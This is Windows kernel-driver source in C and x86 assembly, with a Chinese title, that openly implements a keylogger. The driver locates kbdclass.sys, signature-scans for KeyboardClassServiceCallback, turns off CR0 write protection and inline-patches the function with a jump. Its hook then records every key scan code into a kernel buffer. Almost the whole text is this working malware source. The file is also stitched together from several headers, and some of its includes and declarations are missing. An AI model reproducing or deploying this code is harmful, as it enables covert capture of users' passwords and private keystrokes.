vc++实现Inline hook KeyboardClassServiceCallback实现键盘记录    

/*

 

*/

#ifndef _DBGHELP_H
#define _DBGHELP_H 1

#include

#define dprintf if (DBG) DbgPrint
#define nprintf DbgPrint

#define kmalloc(_s) ExAllocatePoolWithTag(NonPagedPool, _s, 'SYSQ')
//#define kfree(_p) ExFreePoolWithTag(_p, 'SYSQ')
#define kfree(_p) ExFreePool(_p)

#endif

#include

#include "HookKey.h"
#include "struct.h"
#include

BYTE g_HookCode[5] = { 0xe9, 0, 0, 0, 0 };
BYTE g_OrigCode[5] = { 0 }; // 原函数的前字节内容
BYTE jmp_orig_code[7] = { 0xEA, 0, 0, 0, 0, 0x08, 0x00 }; //因为是长转移,所以有个 0x08
PDEVICE_OBJECT pDevObj;
BOOL g_bHooked = FALSE;
int KeyCode=0;
PVOID hPageDataSection;
PVOID KeyBuf;
PDEVICE_OBJECT g_kbDeviceObject = NULL;
ULONG g_kbdclass_base ;
ULONG g_lpKbdServiceCallback ;
VOID  ReadKeyBuf();
VOID  ChangeFake_Function();
VOID
fake_OldFunction (
      PDEVICE_OBJECT  DeviceObject,
      PKEYBOARD_INPUT_DATA  InputDataStart,
      PKEYBOARD_INPUT_DATA  InputDataEnd,
      PULONG  InputDataConsumed
      );
#ifdef ALLOC_PRAGMA
#pragma alloc_text(NONPAGED, fake_OldFunction)
#endif

/*

  HookKey.H

  Author:

  This framework is generated by EasySYS 0.3.0
  This template file is copying from QuickSYS 0.3.0 written by Chunhua Liu

*/

#ifndef _HOOKKEY_H
#define _HOOKKEY_H 1

//
// Define the various device type values.  Note that values used by Microsoft
// Corporation are in the range 0-0x7FFF(32767), and 0x8000(32768)-0xFFFF(65535)
// are reserved for use by customers.
//

#define FILE_DEVICE_HOOKKEY 0x8000

//
// Macro definition for defining IOCTL and FSCTL function control codes. Note
// that function codes 0-0x7FF(2047) are reserved for Microsoft Corporation,
// and 0x800(2048)-0xFFF(4095) are reserved for customers.
//

#define HOOKKEY_IOCTL_BASE 0x800

//
// The device driver IOCTLs
//

#define CTL_CODE_HOOKKEY(i) CTL_CODE(FILE_DEVICE_HOOKKEY, HOOKKEY_IOCTL_BASE+i, METHOD_BUFFERED, FILE_ANY_ACCESS)

#define IOCTL_HOOKKEY_HELLO CTL_CODE_HOOKKEY(0)
#define IOCTL_HOOKKEY_TEST CTL_CODE_HOOKKEY(1)

//
// Name that Win32 front end will use to open the HookKey device
//

#define HOOKKEY_WIN32_DEVICE_NAME_A "////.//HookKey"
#define HOOKKEY_WIN32_DEVICE_NAME_W L"////.//HookKey"
#define HOOKKEY_DEVICE_NAME_A   "//Device//HookKey"
#define HOOKKEY_DEVICE_NAME_W   L"//Device//HookKey"
#define HOOKKEY_DOS_DEVICE_NAME_A  "//DosDevices//HookKey"
#define HOOKKEY_DOS_DEVICE_NAME_W  L"//DosDevices//HookKey"

#ifdef _UNICODE
#define HOOKKEY_WIN32_DEVICE_NAME HOOKKEY_WIN32_DEVICE_NAME_W
#define HOOKKEY_DEVICE_NAME  HOOKKEY_DEVICE_NAME_W
#define HOOKKEY_DOS_DEVICE_NAME HOOKKEY_DOS_DEVICE_NAME_W
#else
#define HOOKKEY_WIN32_DEVICE_NAME HOOKKEY_WIN32_DEVICE_NAME_A
#define HOOKKEY_DEVICE_NAME  HOOKKEY_DEVICE_NAME_A
#define HOOKKEY_DOS_DEVICE_NAME HOOKKEY_DOS_DEVICE_NAME_A
#endif

#endif
   
VOID
Proxy_OldFunction (
PDEVICE_OBJECT  DeviceObject,
PKEYBOARD_INPUT_DATA  InputDataStart,
PKEYBOARD_INPUT_DATA  InputDataEnd,
PULONG  InputDataConsumed
    );
typedef VOID
(*My_KeyboardClassServiceCallback) (
         PDEVICE_OBJECT  DeviceObject,
         PKEYBOARD_INPUT_DATA  InputDataStart,
         PKEYBOARD_INPUT_DATA  InputDataEnd,
         PULONG  InputDataConsumed
         );
My_KeyboardClassServiceCallback orig_KeyboardClassServiceCallback = NULL;
void WPOFF()
{
  
    ULONG uAttr;
  
    _asm
    {
        push eax;
        mov eax, cr0;
        mov uAttr, eax;
        and eax, 0FFFEFFFFh; // CR0 16 BIT = 0
        mov cr0, eax;
        pop eax;
        cli
    };
  
    g_uCr0 = uAttr; //保存原有的 CRO 屬性
  
}

VOID WPON()
{
  
    _asm
    {
        sti
        push eax;
        mov eax, g_uCr0; //恢復原有 CR0 屬性
        mov cr0, eax;
        pop eax;
    };
  
}


//
// 停止inline hook
//
VOID UnHookOldFunction ()
{
    KIRQL  oldIrql;

    WPOFF();
    oldIrql = KeRaiseIrqlToDpcLevel();
   
    RtlCopyMemory ( (BYTE*)g_OldFunction, g_OrigCode, 5 );

    KeLowerIrql(oldIrql);
    WPON();

    g_bHooked = FALSE;
}


//
// 开始inline hook --  OldFunction
//
VOID HookOldFunction ()
{
    KIRQL  oldIrql;

    if (g_OldFunction == 0) {
        DbgPrint("OldFunction == NULL/n");
        return;
    }

    //DbgPrint("开始inline hook --  OldFunction/n");
    DbgPrint( "OldFunction的地址t0x%08x/n", (ULONG)g_OldFunction );
    // 保存原函数的前字节内容
    RtlCopyMemory (g_OrigCode, (BYTE*)g_OldFunction, 5);//★
    *( (ULONG*)(g_HookCode + 1) ) = (ULONG)fake_OldFunction - (ULONG)g_OldFunction - 5;//★
   
   
    // 禁止系统写保护,提升IRQL到DPC
    WPOFF();
    oldIrql = KeRaiseIrqlToDpcLevel();
 
    RtlCopyMemory ( (BYTE*)g_OldFunction, g_HookCode, 5 );
    *( (ULONG*)(jmp_orig_code + 1) ) = (ULONG) ( (BYTE*)g_OldFunction + 5 );//★
   
    RtlCopyMemory ( (BYTE*)Proxy_OldFunction, g_OrigCode, 5);//修改Proxy_OldFunction函数头
    RtlCopyMemory ( (BYTE*)Proxy_OldFunction + 5, jmp_orig_code, 7);

    // 恢复写保护,降低IRQL
    KeLowerIrql(oldIrql);
    WPON();

    g_bHooked = TRUE;
   
   
}
VOID  ChangeFake_Function()
{
 KIRQL  oldIrql;
 int i;
 ULONG addr=(ULONG)fake_OldFunction;

 ULONG code_fill=0xAAAAAAAA;
 DbgPrint("fake_OldFunction:%x",addr);
 WPOFF();
    oldIrql = KeRaiseIrqlToDpcLevel();
    for (i=0;i<0x200;i++)
    {
  if (*((ULONG*)(addr+i))==code_fill)
  {
   DbgPrint("AAAAAAAA Finded:%x",KeyBuf);
   *((ULONG*)(addr+i))=(ULONG)KeyBuf;
  }
  
    }
 DbgPrint("AAAAAAAA:%x",*((ULONG*)(addr+i))  );
    KeLowerIrql(oldIrql);
    WPON();

}
VOID  ReadKeyBuf()
{
 BYTE Index=*(BYTE*)KeyBuf;
 BYTE i,j;
// BYTE _Buf[MAXBUF];
 
 for (i=0;i<MAXBUF;i++)
    {
  DbgPrint("Key Code:%x",*(BYTE*)((BYTE*)KeyBuf+i));
 }

}
//
// 跳转到我们的函数里面进行预处理
//

__declspec (naked)
VOID
fake_OldFunction (
PDEVICE_OBJECT  DeviceObject,
PKEYBOARD_INPUT_DATA  InputDataStart,
PKEYBOARD_INPUT_DATA  InputDataEnd,
PULONG  InputDataConsumed
    )
{
 
   
 __asm
    {
   push    eax
        push    ebx
        push    ecx
  push    esi
  xor     esi,esi
  mov     eax, [0xAAAAAAAA];
  mov     ebx, [esp+0x18]
   //movzx   ecx, word ptr [ebx-20]//+2
  mov     cl , byte ptr [ebx+2];//按键码
        mov     ch , byte ptr [eax];//得到当前位置->ch
        cmp     ch , MAXBUF
  jnz     NotLastPlace
  mov     ch,  0x0;

NotLastPlace:
  inc     ch
  movzx   si,ch
  mov     byte ptr [eax],    ch
        mov     byte ptr [eax+esi],cl
  
        pop esi
   pop ecx
   pop ebx
   pop eax
  jmp Proxy_OldFunction   ;//★在这一系列JMP中,没有一处使用CALL,简化了代码,增强了稳定性
    }
}

//
// 代理函数,负责跳转到原函数中继续执行
//
__declspec (naked)
VOID
Proxy_OldFunction (
    PDEVICE_OBJECT  DeviceObject,
    PKEYBOARD_INPUT_DATA  InputDataStart,
    PKEYBOARD_INPUT_DATA  InputDataEnd,
    PULONG  InputDataConsumed
    )
{
 
    __asm {  // 共字节
            _emit 0x90
            _emit 0x90
            _emit 0x90
            _emit 0x90
            _emit 0x90  // 前字节实现原函数的头字节功能
            _emit 0x90  // 这个填充jmp
            _emit 0x90
            _emit 0x90
            _emit 0x90
            _emit 0x90  // 这字节保存原函数+5处的地址
            _emit 0x90 
            _emit 0x90  // 因为是长转移,所以必须是0x0080
    }
}

 

//////////////////////////////////////////////////////////////////////////


PVOID
GetModlueBaseAdress(
     char* ModlueName,
     BOOL bKernelBase
     )
{
 ULONG size,index;
 PULONG buf;
 NTSTATUS status;
 PSYSTEM_MODULE_INFORMATION module;
 PVOID driverAddress=0;
 
 ZwQuerySystemInformation(SystemModuleInformation,&size, 0, &size);
 if(NULL==(buf = (PULONG)ExAllocatePool(PagedPool, size))){
  DbgPrint("failed alloc memory failed /n");
  return 0;
 }
 
 status=ZwQuerySystemInformation(SystemModuleInformation,buf, size , 0);
 if(!NT_SUCCESS( status )) {
  DbgPrint("failed query/n");
  return 0;
 }
 
 module = (PSYSTEM_MODULE_INFORMATION)(( PULONG )buf + 1);
 
 // 系统模块基址
 if ( TRUE == bKernelBase )
 {
  driverAddress = module[0].Base;
  DbgPrint("KernelBase:%x/n",driverAddress);
  goto _x_;
 }
 
 // 其他模块基址
 for (index = 0; index < *buf; index++) {
  if (_stricmp(module[index].ImageName + module[index].ModuleNameOffset, ModlueName) == 0)
  {
   driverAddress = module[index].Base;
   DbgPrint("Module found at:%x/n",driverAddress);
   goto _x_;
  }
 }
 
_x_:  
 ExFreePool(buf);
 return driverAddress;
}


ULONG GetFunctionAddr( IN PCWSTR FunctionName)
{
    UNICODE_STRING UniCodeFunctionName;
    RtlInitUnicodeString( &UniCodeFunctionName, FunctionName );
    return (ULONG)MmGetSystemRoutineAddress( &UniCodeFunctionName );  

}

//根据特征值,搜索OldFunction
ULONG FindOldFunctionAddress()
{

 NTSTATUS status = STATUS_SUCCESS;
 UNICODE_STRING ustrLinkName;
 UNICODE_STRING ustrDevName;   
 PDEVICE_OBJECT pDevObj;
 ULONG i, curAddr;
 PUCHAR FileContent;
 DWORD dwRet,dwSize;
 PVOID pTmp;
    LARGE_INTEGER timeout;
 KEVENT Kevent;
 ULONG g_kbdclass_base ;
 ULONG g_lpKbdServiceCallback ;
 PDEVICE_OBJECT g_kbDeviceObject = NULL;
    KEYBOARD_INPUT_DATA kid;
 ULONG Addr_OldFunction = 0;
 ULONG code1_sp2=0x8b55ff8b, code2_sp2=0x8b5151ec, code3_sp2=0x65830845,code4_sp2=0x8b530008;
    //KbdInit();
 g_kbdclass_base = (ULONG)GetModlueBaseAdress( "kbdclass.sys",0 );
 DbgPrint("kbdclass.sys: 0x%08lx/n", (PVOID)g_kbdclass_base);
 
 if ( 0 == g_kbdclass_base ) {
  DbgPrint("ERROR: g_kbdclass_base == 0/n");
  return STATUS_SUCCESS;
 }
 
 curAddr = g_kbdclass_base;
 // DbgPrint("curAddr: 0x%08lx/n", curAddr);
 for (i=curAddr;i<=curAddr+0x2000;i++)
 {
  // DbgPrint("i: 0x%08lx/n", i);
  if (*((ULONG *)i)==code1_sp2) {
   if (*((ULONG *)(i+4))==code2_sp2) {
    if (*((ULONG *)(i+8))==code3_sp2) {
     if (*((ULONG *)(i+12))==code4_sp2) {
      g_lpKbdServiceCallback=i;
      break ;
     }
    }
   }
  }
 }
 
 Addr_OldFunction = (ULONG)g_lpKbdServiceCallback;
 DbgPrint("KeyboardClassServiceCallback: 0x%08lx/n", (PVOID)g_lpKbdServiceCallback);
 //DbgPrint("g_kbDeviceObject: 0x%08lx/n", (PVOID)g_kbDeviceObject);

 return Addr_OldFunction;
}


VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{

  UNICODE_STRING strLink;
  RtlInitUnicodeString(&strLink, L"//DosDevices//devHookKey");
 

  DbgPrint("My Driver Unloaded!");
  DbgPrint("MyKeyboardClassServiceCallback invoked: %x",KeyCode);

  ReadKeyBuf();
  ExFreePool(KeyBuf);
  IoDeleteSymbolicLink(&strLink);
  IoDeleteDevice(DriverObject->DeviceObject);

  UnHookOldFunction();
}

NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
  NTSTATUS status = STATUS_SUCCESS;
  UNICODE_STRING ustrLinkName;
  UNICODE_STRING ustrDevName;   
  DWORD dwSize,dwRet;
  PVOID pTmp;
  KEYBOARD_INPUT_DATA kid;
  DbgPrint("My Driver Loaded!");
  theDriverObject->DriverUnload = OnUnload;
   
  RtlInitUnicodeString(&ustrDevName, L"//Device//devHookKey");
  status = IoCreateDevice(theDriverObject,
   0,
   &ustrDevName,
   FILE_DEVICE_UNKNOWN,
   0,
   FALSE,
   &pDevObj);
 
  if(!NT_SUCCESS(status)) {
   DbgPrint("IoCreateDevice = 0x%x/n", status);
   return status;
  }
 
  RtlInitUnicodeString(&ustrLinkName, L"//DosDevices//devHookKey");
  status = IoCreateSymbolicLink(&ustrLinkName, &ustrDevName); 
  if(!NT_SUCCESS(status)) {
   DbgPrint("IoCreateSymbolicLink = 0x%x/n", status);
   IoDeleteDevice(pDevObj); 
   return status;
 }


  KeyBuf=(PVOID)ExAllocatePool( NonPagedPool,MAXBUF+2);
  *((BYTE*)KeyBuf)=0x0;

  ChangeFake_Function();
  g_OldFunction = FindOldFunctionAddress();
  HookOldFunction();

  return STATUS_SUCCESS;
}

/***************************************************************************************
* AUTHOR : sudami [sudami@163.com]
* TIME   : 2008/08/13 [13:8:2008 - 13:07]
* MODULE : struct.h
*
* Command:
*   驱动的头文件
*  
*
* Description:
*   定义一些常量,避免重复劳动; 您可以在此添加需要的函数/结构体                    
*
***
* Copyright (c) 2008 - 2010 sudami.
* Freely distributable in source or binary for noncommercial purposes.
* TAKE IT EASY,JUST FOR FUN.
*
****************************************************************************************/
#pragma once

#include

typedef long LONG;
//typedef unsigned char  BOOL, *PBOOL;
typedef unsigned char  BYTE, *PBYTE;
typedef unsigned long  DWORD, *PDWORD;
typedef unsigned short WORD, *PWORD;

//typedef void  *HMODULE;
typedef long NTSTATUS, *PNTSTATUS;
typedef unsigned long DWORD;
typedef DWORD * PDWORD;
typedef unsigned long ULONG;
typedef unsigned long ULONG_PTR;
typedef ULONG *PULONG;
typedef unsigned short WORD;
typedef unsigned char BYTE;
typedef unsigned char UCHAR;
typedef unsigned short USHORT;
typedef void *PVOID;
typedef BYTE BOOLEAN;
#define SEC_IMAGE    0x01000000

 


//----------------------------------------------------

typedef enum _SYSTEM_INFORMATION_CLASS {
 SystemBasicInformation = 0,
 SystemCpuInformation = 1,
 SystemPerformanceInformation = 2,
 SystemTimeOfDayInformation = 3, /* was SystemTimeInformation */
 Unknown4,
 SystemProcessInformation = 5,
 Unknown6,
 Unknown7,
 SystemProcessorPerformanceInformation = 8,
 Unknown9,
 Unknown10,
 SystemModuleInformation = 11,
 Unknown12,
 Unknown13,
 Unknown14,
 Unknown15,
 SystemHandleInformation = 16,
 Unknown17,
 SystemPageFileInformation = 18,
 Unknown19,
 Unknown20,
 SystemCacheInformation = 21,
 Unknown22,
 SystemInterruptInformation = 23,
 SystemDpcBehaviourInformation = 24,
 SystemFullMemoryInformation = 25,
 SystemNotImplemented6 = 25,
 SystemLoadImage = 26,
 SystemUnloadImage = 27,
 SystemTimeAdjustmentInformation = 28,
 SystemTimeAdjustment = 28,
 SystemSummaryMemoryInformation = 29,
 SystemNotImplemented7 = 29,
 SystemNextEventIdInformation = 30,
 SystemNotImplemented8 = 30,
 SystemEventIdsInformation = 31,
 SystemCrashDumpInformation = 32,
 SystemExceptionInformation = 33,
 SystemCrashDumpStateInformation = 34,
 SystemKernelDebuggerInformation = 35,
 SystemContextSwitchInformation = 36,
 SystemRegistryQuotaInformation = 37,
 SystemCurrentTimeZoneInformation = 44,
 SystemTimeZoneInformation = 44,
 SystemLookasideInformation = 45,
 SystemSetTimeSlipEvent = 46,
 SystemCreateSession = 47,
 SystemDeleteSession = 48,
 SystemInvalidInfoClass4 = 49,
 SystemRangeStartInformation = 50,
 SystemVerifierInformation = 51,
 SystemAddVerifier = 52,
 SystemSessionProcessesInformation = 53,
 SystemInformationClassMax
} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS;


typedef struct _SYSTEM_MODULE_INFORMATION {//Information Class 11
 ULONG    Reserved[2];
 PVOID    Base;
 ULONG    Size;
 ULONG    Flags;
 USHORT    Index;
 USHORT    Unknown;
 USHORT    LoadCount;
 USHORT    ModuleNameOffset;
 CHAR    ImageName[256];
}SYSTEM_MODULE_INFORMATION,*PSYSTEM_MODULE_INFORMATION;

typedef struct {
 DWORD    dwNumberOfModules;
 SYSTEM_MODULE_INFORMATION    smi;
} MODULES, *PMODULES;

 

//  PEB
  
#pragma pack(4)
typedef struct _PEB_LDR_DATA
{
 ULONG Length;
 BOOLEAN Initialized;
 PVOID SsHandle;
 LIST_ENTRY InLoadOrderModuleList;
 LIST_ENTRY InMemoryOrderModuleList;
 LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;
#pragma pack()

typedef struct _PEB_ORIG {
    BYTE Reserved1[2];
    BYTE BeingDebugged;
    BYTE Reserved2[229];
    PVOID Reserved3[59];
    ULONG SessionId;
} PEB_ORIG, *PPEB_ORIG;

typedef void (*PPEBLOCKROUTINE)(PVOID PebLock);

struct _PEB_FREE_BLOCK {
 struct _PEB_FREE_BLOCK *Next;
 ULONG Size;
};
typedef struct _PEB_FREE_BLOCK PEB_FREE_BLOCK;
typedef struct _PEB_FREE_BLOCK *PPEB_FREE_BLOCK;

typedef struct _RTL_DRIVE_LETTER_CURDIR {
 USHORT Flags;
 USHORT Length;
 ULONG TimeStamp;
 UNICODE_STRING DosPath;
} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR;

typedef struct _RTL_USER_PROCESS_PARAMETERS {
 ULONG MaximumLength;
 ULONG Length;
 ULONG Flags;
 ULONG DebugFlags;
 PVOID ConsoleHandle;
 ULONG ConsoleFlags;
 HANDLE StdInputHandle;
 HANDLE StdOutputHandle;
 HANDLE StdErrorHandle;
 UNICODE_STRING CurrentDirectoryPath;
 HANDLE CurrentDirectoryHandle;
 UNICODE_STRING DllPath;
 UNICODE_STRING ImagePathName;
 UNICODE_STRING CommandLine;
 PVOID Environment;
 ULONG StartingPositionLeft;
 ULONG StartingPositionTop;
 ULONG Width;
 ULONG Height;
 ULONG CharWidth;
 ULONG CharHeight;
 ULONG ConsoleTextAttributes;
 ULONG WindowFlags;
 ULONG ShowWindowFlags;
 UNICODE_STRING WindowTitle;
 UNICODE_STRING DesktopName;
 UNICODE_STRING ShellInfo;
 UNICODE_STRING RuntimeData;
 RTL_DRIVE_LETTER_CURDIR DLCurrentDirectory[0x20];
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;

typedef struct _PEB {
 BOOLEAN InheritedAddressSpace;
 BOOLEAN ReadImageFileExecOptions;
 BOOLEAN BeingDebugged;
 BOOLEAN Spare;
 HANDLE Mutant;
 PVOID ImageBaseAddress;
 PPEB_LDR_DATA LoaderData;
 PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
 PVOID SubSystemData;
 PVOID ProcessHeap;
 PVOID FastPebLock;
 PPEBLOCKROUTINE FastPebLockRoutine;
 PPEBLOCKROUTINE FastPebUnlockRoutine;
 ULONG EnvironmentUpdateCount;
 PVOID *KernelCallbackTable;
 PVOID EventLogSection;
 PVOID EventLog;
 PPEB_FREE_BLOCK FreeList;
 ULONG TlsExpansionCounter;
 PVOID TlsBitmap;
 ULONG TlsBitmapBits[0x2];
 PVOID ReadOnlySharedMemoryBase;
 PVOID ReadOnlySharedMemoryHeap;
 PVOID *ReadOnlyStaticServerData;
 PVOID AnsiCodePageData;
 PVOID OemCodePageData;
 PVOID UnicodeCaseTableData;
 ULONG NumberOfProcessors;
 ULONG NtGlobalFlag;
 BYTE Spare2[0x4];
 LARGE_INTEGER CriticalSectionTimeout;
 ULONG HeapSegmentReserve;
 ULONG HeapSegmentCommit;
 ULONG HeapDeCommitTotalFreeThreshold;
 ULONG HeapDeCommitFreeBlockThreshold;
 ULONG NumberOfHeaps;
 ULONG MaximumNumberOfHeaps;
 PVOID **ProcessHeaps;
 PVOID GdiSharedHandleTable;
 PVOID ProcessStarterHelper;
 PVOID GdiDCAttributeList;
 PVOID LoaderLock;
 ULONG OSMajorVersion;
 ULONG OSMinorVersion;
 ULONG OSBuildNumber;
 ULONG OSPlatformId;
 ULONG ImageSubSystem;
 ULONG ImageSubSystemMajorVersion;
 ULONG ImageSubSystemMinorVersion;
 ULONG GdiHandleBuffer[0x22];
 ULONG PostProcessInitRoutine;
 ULONG TlsExpansionBitmap;
 BYTE TlsExpansionBitmapBits[0x80];
 ULONG SessionId;
} PEB, *PPEB;


typedef struct _SYSTEM_PROCESS_INFORMATION {
    ULONG NextEntryOffset;
    ULONG NumberOfThreads;
    LARGE_INTEGER SpareLi1;
    LARGE_INTEGER SpareLi2;
    LARGE_INTEGER SpareLi3;
    LARGE_INTEGER CreateTime;
    LARGE_INTEGER UserTime;
    LARGE_INTEGER KernelTime;
    UNICODE_STRING ImageName;
    KPRIORITY BasePriority;
    HANDLE UniqueProcessId;
    HANDLE InheritedFromUniqueProcessId;
    ULONG HandleCount;
    ULONG SpareUl2;
    ULONG SpareUl3;
    ULONG PeakVirtualSize;
    ULONG VirtualSize;
    ULONG PageFaultCount;
    ULONG PeakWorkingSetSize;
    ULONG WorkingSetSize;
    ULONG QuotaPeakPagedPoolUsage;
    ULONG QuotaPagedPoolUsage;
    ULONG QuotaPeakNonPagedPoolUsage;
    ULONG QuotaNonPagedPoolUsage;
    ULONG PagefileUsage;
    ULONG PeakPagefileUsage;
    ULONG PrivatePageCount;
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;

typedef struct _SYSTEM_THREAD_INFORMATION {
    LARGE_INTEGER KernelTime;
    LARGE_INTEGER UserTime;
    LARGE_INTEGER CreateTime;
    ULONG WaitTime;
    PVOID StartAddress;
    CLIENT_ID ClientId;
    KPRIORITY Priority;
    LONG BasePriority;
    ULONG ContextSwitches;
    ULONG ThreadState;
    ULONG WaitReason;
} SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION;


struct _SYSTEM_THREADS
{
 LARGE_INTEGER  KernelTime;
 LARGE_INTEGER  UserTime;
 LARGE_INTEGER  CreateTime;
 ULONG    WaitTime;
 PVOID    StartAddress;
 CLIENT_ID   ClientIs;
 KPRIORITY   Priority;
 KPRIORITY   BasePriority;
 ULONG    ContextSwitchCount;
 ULONG    ThreadState;
 KWAIT_REASON  WaitReason;
};


struct _SYSTEM_PROCESSES
{
 ULONG    NextEntryDelta;
 ULONG    ThreadCount;
 ULONG    Reserved[6];
 LARGE_INTEGER  CreateTime;
 LARGE_INTEGER  UserTime;
 LARGE_INTEGER  KernelTime;
 UNICODE_STRING  ProcessName;
 KPRIORITY   BasePriority;
 ULONG    ProcessId;
 ULONG    InheritedFromProcessId;
 ULONG    HandleCount;
 ULONG    Reserved2[2];
 VM_COUNTERS   VmCounters;
 IO_COUNTERS   IoCounters; //windows 2000 only
 struct _SYSTEM_THREADS Threads[1];
};

 

typedef struct _HANDLE_TABLE_ENTRY_INFO
{
    ULONG AuditMask;
} HANDLE_TABLE_ENTRY_INFO, *PHANDLE_TABLE_ENTRY_INFO;


typedef struct _HANDLE_TABLE_ENTRY
{
    union
    {
        PVOID Object;
        ULONG_PTR ObAttributes;
        PHANDLE_TABLE_ENTRY_INFO InfoTable;
        ULONG_PTR Value;
    };
    union
    {
        ULONG GrantedAccess;
        struct
        {
            USHORT GrantedAccessIndex;
            USHORT CreatorBackTraceIndex;
        };
        LONG NextFreeTableEntry;
    };
} HANDLE_TABLE_ENTRY, *PHANDLE_TABLE_ENTRY;


typedef struct _HANDLE_TABLE
{
    ULONG TableCode;
    PEPROCESS QuotaProcess;
    PVOID UniqueProcessId;
    ULONG HandleTableLock[4];
    LIST_ENTRY HandleTableList;
    ULONG HandleContentionEvent;
    PVOID DebugInfo;
    LONG ExtraInfoPages;
    ULONG FirstFree;
    ULONG LastFree;
    ULONG NextHandleNeedingPool;
    LONG HandleCount;
    union
    {
        ULONG Flags;
        UCHAR StrictFIFO:1;
    };
} HANDLE_TABLE, *PHANDLE_TABLE;

typedef struct _OBJECT_TYPE_INITIALIZER {
 USHORT Length;
 BOOLEAN UseDefaultObject;
 BOOLEAN CaseInsensitive;
 ULONG InvalidAttributes;
 GENERIC_MAPPING GenericMapping;
 ULONG ValidAccessMask;
 BOOLEAN SecurityRequired;
 BOOLEAN MaintainHandleCount;
 BOOLEAN MaintainTypeList;
 POOL_TYPE PoolType;
 ULONG DefaultPagedPoolCharge;
 ULONG DefaultNonPagedPoolCharge;
 PVOID DumpProcedure;
 PVOID OpenProcedure;
 PVOID CloseProcedure;
 PVOID DeleteProcedure;
 PVOID ParseProcedure;
 PVOID SecurityProcedure;
 PVOID QueryNameProcedure;
 PVOID OkayToCloseProcedure;
} OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER;


typedef struct _OBJECT_TYPE {
 ERESOURCE Mutex;
 LIST_ENTRY TypeList;
 UNICODE_STRING Name;            // Copy from object header for convenience
 PVOID DefaultObject;
 ULONG Index;
 ULONG TotalNumberOfObjects;
 ULONG TotalNumberOfHandles;
 ULONG HighWaterNumberOfObjects;
 ULONG HighWaterNumberOfHandles;
 OBJECT_TYPE_INITIALIZER TypeInfo;
 ULONG Key;
 ERESOURCE ObjectLocks[4];
} OBJECT_TYPE, *POBJECT_TYPE;

typedef struct _OBJECT_DIRECTORY {
    struct _OBJECT_DIRECTORY_ENTRY *HashBuckets[ 37 ];
    ULONG Lock;
    PVOID DeviceMap;
    ULONG SessionId;
 USHORT Reserved;
 USHORT SymbolicLinkUsageCount;
} OBJECT_DIRECTORY, *POBJECT_DIRECTORY;

/*
typedef enum _KAPC_ENVIRONMENT {
  OriginalApcEnvironment,
  AttachedApcEnvironment,
  CurrentApcEnvironment,
  InsertApcEnvironment
} KAPC_ENVIRONMENT;
*/

typedef enum
{
    OriginalApcEnvironment,
 AttachedApcEnvironment,
 CurrentApcEnvironment
} KAPC_ENVIRONMENT;

//int swprintf( wchar_t *, const wchar_t *, ... );
int wsprintf( PWSTR buffer, PCWSTR spec, ... );


//----------------------------------------------------

 

 

NTSYSAPI
NTSTATUS
NTAPI ZwQuerySystemInformation(
          IN ULONG SystemInformationClass,
          IN PVOID SystemInformation,
          IN ULONG SystemInformationLength,
          OUT PULONG ReturnLength);

 

NTSTATUS
  NtOpenFile(
    OUT PHANDLE  FileHandle,
    IN ACCESS_MASK  DesiredAccess,
    IN POBJECT_ATTRIBUTES  ObjectAttributes,
    OUT PIO_STATUS_BLOCK  IoStatusBlock,
    IN ULONG  ShareAccess,
    IN ULONG  OpenOptions
    );


NTSTATUS
ZwOpenProcess(
   OUT PHANDLE ProcessHandle,
   IN ACCESS_MASK DesiredAccess,
   IN POBJECT_ATTRIBUTES ObjectAttributes,
   IN PCLIENT_ID ClientId
   );

NTSTATUS
PsLookupProcessByProcessId(
    IN HANDLE ProcessId,
    OUT PEPROCESS *Process
    );


HANDLE
  PsGetProcessId(
    IN PEPROCESS  Process
    );


NTSTATUS
RtlFormatCurrentUserKeyPath(
    OUT PUNICODE_STRING CurrentUserKeyPath
    );

VOID KeAttachProcess( PEPROCESS proc );
VOID KeDetachProcess();

NTSTATUS
ObReferenceObjectByName(
      IN PUNICODE_STRING ObjectName,
      IN ULONG Attributes,
      IN PACCESS_STATE PassedAccessState OPTIONAL,
      IN ACCESS_MASK DesiredAccess OPTIONAL,
      IN POBJECT_TYPE ObjectType,
      IN KPROCESSOR_MODE AccessMode,
      IN OUT PVOID ParseContext OPTIONAL,
      OUT PVOID *Object
      );

//////////////////////////////////////////////////////////////////////////


// 写保护的开&关
void WPOFF();
void WPON();